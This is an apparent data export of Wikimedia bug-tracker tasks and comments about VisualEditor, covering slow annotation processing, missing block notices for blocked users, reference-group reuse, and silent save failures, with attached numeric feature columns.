233391,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"The slowness of ve.dm.Converter.openAndCloseAnnotations() also dominates the performance of ve.dm.Converter.prototype.getDomFromData(), severely affecting both initial setup and ""review changes"". In both actions, on my favourite test case for today ([[Argentina]]), about 10s of CPU usage is attributable to openAndCloseAnnotations(), and about 80% of that is from oo.compare().",,,1374731780,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,14.0,5.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,4.561643835616438,0.6575342465753424,"The slowness of ve.dm.Converter.openAndCloseAnnotations() also dominates the performance of ve.dm.Converter.prototype.getDomFromData(), severely affecting both initial setup and ""review changes"". In both actions, on my favourite test case for today ([[Argentina]]), about 10s of CPU usage is attributable to openAndCloseAnnotations(), and about 80% of that is from oo.compare()."
54004,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"When a blocked users attempts to edit a page in the classic editor they see a large, red-bordered notice that tells them:
*They are unable to edit, but they can still read
*Who blocked them
*Why they are blocked (shows them the block log extract)
*When the block expires
*That they can usually edit their talk page and email other editors and aministrators
*What to do if the block is unclear or doesn't seem relevant
*How to appeal a block (links to policy and guide)
*That they can view and copy the source of a page

In contrast when a blocked user attempts to edit a page in VE
*No notice appears, and editing works as normal
*When they click ""Save page"" they can review their changes and enter an edit summary as normal

When they try to save their edits they see a small white box with a message that tells them:
*There was a server problem
*Their request was unsuccessful because they have been blocked
They can then choose only ""OK"" which takes them back to the save page dialog.

This is very bad because
*The message they see appears to say they caused a server error - cue panic mode for non-technical users (""Help! I've broken Wikipedia!"" - that is exactly the reaction I would expect from my mother.)
*They have wasted potentially lots of time on an edit they cannot save
*It doesn't tell them what being blocked means
*It doesn't tell them who blocked them or for what reason 
*It doesn't tell them what they can do to get help - they can't ask questions at the page that seems to be about asking questions for example (see Bug 51875)
*It doesn't tell them when the block expires, how they can appeal it or how they can contact anybody.

For some users it is even worse that that - saving fails silently: Bug 51999

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51999
https://bugzilla.wikimedia.org/show_bug.cgi?id=51454
https://bugzilla.wikimedia.org/show_bug.cgi?id=51547
https://bugzilla.wikimedia.org/show_bug.cgi?id=53009",High,80.0,1374711420,1395874866.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_description,resolved,True,c1,3,False,False,False,3,,0.2,0.2,0.2,0.6,1.4,4.0,1.4,0.4,0.0,0.2,1.0,1.4,0.0,0.2,0.2,0.6,0.0,5.8,6.8,0.2,1.8,0.0,0.0,0.0,1.0,0.4,0.0,0.0,1.8,0.2,0.0,6.6,2.2,1.2,0.2,0.0,0.8,0.2,0.2,0.6,0.2,6.8,0.0,1.0,0.0,0.6,0.0,0.6,0.4,11.6,0.6,0.0,0.6,0.0,0.0,0.0,0.2,0.4,0.2,0.0,0.4,2.0,0.0,0.4,0.2,0.6,0.2,4.6,2.2,8.6,3.4,2.0,6.0,0.0,0.0,0.4,0.0,7.0,0.0,0.4,0.0,8.8,6.8,1.4,0.0,1.2,0.0,8.8,0.0,4.0,2.6,2.0,0.6,0.2,0.0,0.0,3.5485164394546915,0.6713980219192729,"When a blocked users attempts to edit a page in the classic editor they see a large, red-bordered notice that tells them:
*They are unable to edit, but they can still read
*Who blocked them
*Why they are blocked (shows them the block log extract)
*When the block expires
*That they can usually edit their talk page and email other editors and aministrators
*What to do if the block is unclear or doesn't seem relevant
*How to appeal a block (links to policy and guide)
*That they can view and copy the source of a page

In contrast when a blocked user attempts to edit a page in VE
*No notice appears, and editing works as normal
*When they click ""Save page"" they can review their changes and enter an edit summary as normal

When they try to save their edits they see a small white box with a message that tells them:
*There was a server problem
*Their request was unsuccessful because they have been blocked
They can then choose only ""OK"" which takes them back to the save page dialog.

This is very bad because
*The message they see appears to say they caused a server error - cue panic mode for non-technical users (""Help! I've broken Wikipedia!"" - that is exactly the reaction I would expect from my mother.)
*They have wasted potentially lots of time on an edit they cannot save
*It doesn't tell them what being blocked means
*It doesn't tell them who blocked them or for what reason 
*It doesn't tell them what they can do to get help - they can't ask questions at the page that seems to be about asking questions for example (see Bug 51875)
*It doesn't tell them when the block expires, how they can appeal it or how they can contact anybody.

For some users it is even worse that that - saving fails silently: Bug 51999

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL
URL"
232641,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Change 119204 merged by jenkins-bot:
Show blockedtext message in edit notices

https://gerrit.wikimedia.org/r/119204",,,1395874946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,1.0,"Change 119204 merged by jenkins-bot:
Show blockedtext message in edit notices

GERRIT_URL"
232635,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Change 119204 had a related patch set uploaded by Alex Monk:
Show blockedtext message in edit notices

https://gerrit.wikimedia.org/r/119204",,,1395091521,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 119204 had a related patch set uploaded by Alex Monk:
Show blockedtext message in edit notices

GERRIT_URL"
232630,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"(In reply to Roan Kattouw from comment #4)
> We already put random junk in the paction=parse response, I wouldn't be
> opposed to adding blocked-ness to that. Another paction would be OK too, but
> then we'd have to make two API requests.
> 
> There are significant speed benefits in combining everything into one API
> request. I think we should stop kidding ourselves that paction=parse is a
> clean, only-does-one-thing action, and perhaps rename it if we want, rather
> than trying to split it into separate actions, because the latter would just
> make client-side performance worse.

Yes, since writing that comment I decided to just add it in to paction=parse, especially since talking to James - he wants this to be an edit notice like the others. I probably should have left a new comment about it.

The problem now is coming up with a nice way to fit the autoblockedtext message (blockedtext is okay) in to the edit notices popup.",,,1395077371,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,12.0,0.0,2.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,1.5,3.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,2.5,0.0,1.0,0.0,0.0,0.5,9.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,6.5,3.0,9.5,1.0,0.0,8.0,0.0,0.0,0.0,0.5,4.0,0.5,0.5,0.0,4.0,12.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.601233671988389,0.7059143686502176,"(In reply to Roan Kattouw from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, since writing that comment I decided to just add it in to paction=parse, especially since talking to James - he wants this to be an edit notice like the others. I probably should have left a new comment about it.

The problem now is coming up with a nice way to fit the autoblockedtext message (blockedtext is okay) in to the edit notices popup."
232627,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"(In reply to Alex Monk from comment #3)
> James suggested I tackle this bug. I messed around with the API for a little
> bit and assuming I didn't miss anything:
> 
> I think that if we tried to fill out the 'blockedtext' message properly on
> the client we'd have to:
> * Query the API for the user's blockinfo to determine whether or not they're
> blocked. If they are:
> ** Query the API for more info about this block which
> meta=userinfo&uiprop=blockinfo doesn't provide but we need to substitute
> into the message (expiry, user, timestamp).
> ** Query the API to parse the blockedtext message because it can't be done
> on the client (even the default message includes stuff mw.msg can't handle)
> ** Substitute the data we have into the message (and we still won't have $3
> - the current IP)
> *** Mess around with dates/times because they won't be in the right format.
> 
> Another way we could do this is return the full warning from
> action=visualeditor&paction=parse (therefore adding no extra API requests)
> which would cause the client to stop loading. I don't like this idea because
> obviously that paction is not intended for checking this kind of thing...
> 
> Or we could ignore the core blockedtext message and use our own ""Your
> username or IP address has been blocked"", possibly with the info that just
> meta=userinfo&uiprop=blockinfo provides (block ID, performer, reason).
> 
> Or we could add a new API module/paction that can be queried once and
> provides all the relevant info. I don't like this idea either but it seems
> the nicest.
> 
We already put random junk in the paction=parse response, I wouldn't be opposed to adding blocked-ness to that. Another paction would be OK too, but then we'd have to make two API requests.

There are significant speed benefits in combining everything into one API request. I think we should stop kidding ourselves that paction=parse is a clean, only-does-one-thing action, and perhaps rename it if we want, rather than trying to split it into separate actions, because the latter would just make client-side performance worse.",,,1395076588,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.5,0.0,0.5,0.5,4.0,1.0,0.5,0.0,0.5,2.0,1.0,0.0,0.5,0.5,4.0,0.0,4.5,8.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,2.0,20.5,1.5,1.0,2.5,0.0,0.0,0.0,0.5,4.0,0.0,2.0,0.0,5.0,8.0,14.5,0.0,0.0,0.0,5.0,0.0,0.0,0.5,0.5,2.0,0.5,0.0,0.0,3.604517704517704,0.5590964590964591,"(In reply to Alex Monk from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
We already put random junk in the paction=parse response, I wouldn't be opposed to adding blocked-ness to that. Another paction would be OK too, but then we'd have to make two API requests.

There are significant speed benefits in combining everything into one API request. I think we should stop kidding ourselves that paction=parse is a clean, only-does-one-thing action, and perhaps rename it if we want, rather than trying to split it into separate actions, because the latter would just make client-side performance worse."
232624,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"James suggested I tackle this bug. I messed around with the API for a little bit and assuming I didn't miss anything:

I think that if we tried to fill out the 'blockedtext' message properly on the client we'd have to:
* Query the API for the user's blockinfo to determine whether or not they're blocked. If they are:
** Query the API for more info about this block which meta=userinfo&uiprop=blockinfo doesn't provide but we need to substitute into the message (expiry, user, timestamp).
** Query the API to parse the blockedtext message because it can't be done on the client (even the default message includes stuff mw.msg can't handle)
** Substitute the data we have into the message (and we still won't have $3 - the current IP)
*** Mess around with dates/times because they won't be in the right format.

Another way we could do this is return the full warning from action=visualeditor&paction=parse (therefore adding no extra API requests) which would cause the client to stop loading. I don't like this idea because obviously that paction is not intended for checking this kind of thing...

Or we could ignore the core blockedtext message and use our own ""Your username or IP address has been blocked"", possibly with the info that just meta=userinfo&uiprop=blockinfo provides (block ID, performer, reason).

Or we could add a new API module/paction that can be queried once and provides all the relevant info. I don't like this idea either but it seems the nicest.

Thoughts?",,,1392078894,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,True,,,32,,0.25,0.25,0.0,1.0,2.5,4.5,0.25,0.75,0.0,0.5,0.5,3.0,0.0,0.0,0.0,4.0,0.0,5.25,7.5,0.25,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.25,0.5,0.0,4.25,1.25,0.5,1.0,0.25,0.25,0.25,0.25,1.0,0.25,0.75,0.25,1.0,0.0,0.0,0.0,0.25,0.25,15.75,0.25,1.75,0.25,0.5,0.25,0.0,0.0,0.25,0.25,0.0,0.5,2.25,0.0,0.5,0.25,0.25,0.0,6.0,1.75,7.25,1.75,2.75,9.25,0.0,0.0,0.0,0.0,5.75,0.0,0.25,0.0,5.5,7.5,1.5,0.25,1.0,0.0,5.5,0.0,1.0,0.5,0.0,1.0,0.25,0.25,0.0,3.8285531466425775,0.7478169226136706,"James suggested I tackle this bug. I messed around with the API for a little bit and assuming I didn't miss anything:

I think that if we tried to fill out the 'blockedtext' message properly on the client we'd have to:
* Query the API for the user's blockinfo to determine whether or not they're blocked. If they are:
** Query the API for more info about this block which meta=userinfo&uiprop=blockinfo doesn't provide but we need to substitute into the message (expiry, user, timestamp).
** Query the API to parse the blockedtext message because it can't be done on the client (even the default message includes stuff mw.msg can't handle)
** Substitute the data we have into the message (and we still won't have $3 - the current IP)
*** Mess around with dates/times because they won't be in the right format.

Another way we could do this is return the full warning from action=visualeditor&paction=parse (therefore adding no extra API requests) which would cause the client to stop loading. I don't like this idea because obviously that paction is not intended for checking this kind of thing...

Or we could ignore the core blockedtext message and use our own ""Your username or IP address has been blocked"", possibly with the info that just meta=userinfo&uiprop=blockinfo provides (block ID, performer, reason).

Or we could add a new API module/paction that can be queried once and provides all the relevant info. I don't like this idea either but it seems the nicest.

Thoughts?"
232621,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Created attachment 12954
What a blocked user sees immediately they the source editor loads

**Attached**: {F11061}",,,1374711764,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.04,0.88,"Created attachment 12954
What a blocked user sees immediately they the source editor loads

**Attached**: {F11061}"
232615,VisualEditor: Blocked users are not blocked from using VE (just from saving); should instead show <Blockedtext> with log entry,"Created attachment 12953
What a blocked user sees when they try to save an edit in VE

**Attached**: {F11060}",,,1374711656,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6wbe37ccwgagtoa3kdhv,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,18.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.8928571428571429,"Created attachment 12953
What a blocked user sees when they try to save an edit in VE

**Attached**: {F11060}"
54000,VisualEditor: Can't re-use a reference belonging to non-default group,"Users can't reuse a reference belonging to non-default group. It's just not shown on the list and I've been unable to get such refs to show up there.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51838",High,80.0,1374710220,1377889863.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_description,resolved,True,c1,3,True,False,True,3,,0.0,0.0,0.0,0.0,3.0,11.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,13.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3492063492063493,0.6984126984126984,"Users can't reuse a reference belonging to non-default group. It's just not shown on the list and I've been unable to get such refs to show up there.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
232338,VisualEditor: Can't re-use a reference belonging to non-default group,"Change 81964 merged by jenkins-bot:
Re-build reference search index so they can be used mid-edit

https://gerrit.wikimedia.org/r/81964",,,1377889947,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.92,"Change 81964 merged by jenkins-bot:
Re-build reference search index so they can be used mid-edit

GERRIT_URL"
232332,VisualEditor: Can't re-use a reference belonging to non-default group,Now fixed in master and will be deployed next week.,,,1377889863,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,Now fixed in master and will be deployed next week.
232323,VisualEditor: Can't re-use a reference belonging to non-default group,"Change 81964 had a related patch set uploaded by Trevor Parscal:
Bug 51689 & 52000 - Reusing new references

https://gerrit.wikimedia.org/r/81964",,,1377885714,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.434782608695652,1.0,"Change 81964 had a related patch set uploaded by Trevor Parscal:
Bug 51689 & 52000 - Reusing new references

GERRIT_URL"
232316,VisualEditor: Can't re-use a reference belonging to non-default group,"Change 81964 had a related patch set uploaded by Trevor Parscal:
Bug 52000 - Reusing new reference groups

https://gerrit.wikimedia.org/r/81964",,,1377885380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.590909090909091,1.0,"Change 81964 had a related patch set uploaded by Trevor Parscal:
Bug 52000 - Reusing new reference groups

GERRIT_URL"
232311,VisualEditor: Can't re-use a reference belonging to non-default group,"This works if the group exists when VE loads the page, but if the group is added after load then it's items don't show up in the search.",,,1377881801,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-qsnt7zdtnfm5xnawmteg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,6.0,9.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.40625,0.84375,"This works if the group exists when VE loads the page, but if the group is added after load then it's items don't show up in the search."
53999,VisualEditor: Saving fails silently for some blocked users,"A user on en.wp has reported the following:

""Editing anonymously from my school computers is blocked, and for fun I tried editing a page using VE. It lets me edit the page fully, ''until'' I try to click the save page button. No matter how many times I click it it doesn't save, but there's no notification telling me why it doesn't save. A bit weird really""

I blocked my legitimate alternate user and then tried to edit a page. The editor loaded fine but when I clicked to save the edit I saw the message:
""Error loading data from server: Unsuccessful request: You have been blocked from editing.""

I am on a shared connection so I do not want to do any testing of ipblocks, etc.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52004",High,80.0,1374709740,1396032185.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-a2p56mvfah4kifyqy327,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.5,1.0,1.5,4.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,6.0,0.0,6.5,7.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,1.0,2.0,0.5,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,5.5,1.5,12.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,8.5,7.0,1.0,0.0,2.0,0.0,8.5,0.0,1.5,2.5,1.0,2.5,0.0,0.0,1.0,3.565934065934066,0.6648351648351649,"A user on en.wp has reported the following:

""Editing anonymously from my school computers is blocked, and for fun I tried editing a page using VE. It lets me edit the page fully, ''until'' I try to click the save page button. No matter how many times I click it it doesn't save, but there's no notification telling me why it doesn't save. A bit weird really""

I blocked my legitimate alternate user and then tried to edit a page. The editor loaded fine but when I clicked to save the edit I saw the message:
""Error loading data from server: Unsuccessful request: You have been blocked from editing.""

I am on a shared connection so I do not want to do any testing of ipblocks, etc.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
232271,VisualEditor: Saving fails silently for some blocked users,This was fixed in the fix for bug 52004.,,,1396032185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a2p56mvfah4kifyqy327,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This was fixed in the fix for bug 52004.
232260,VisualEditor: Saving fails silently for some blocked users,"The original reporter, numbermaniac, has done some additional testing and found that they do see the message when pressing save in Chrome on Windows 7. Their initial report was using iMac Safari.

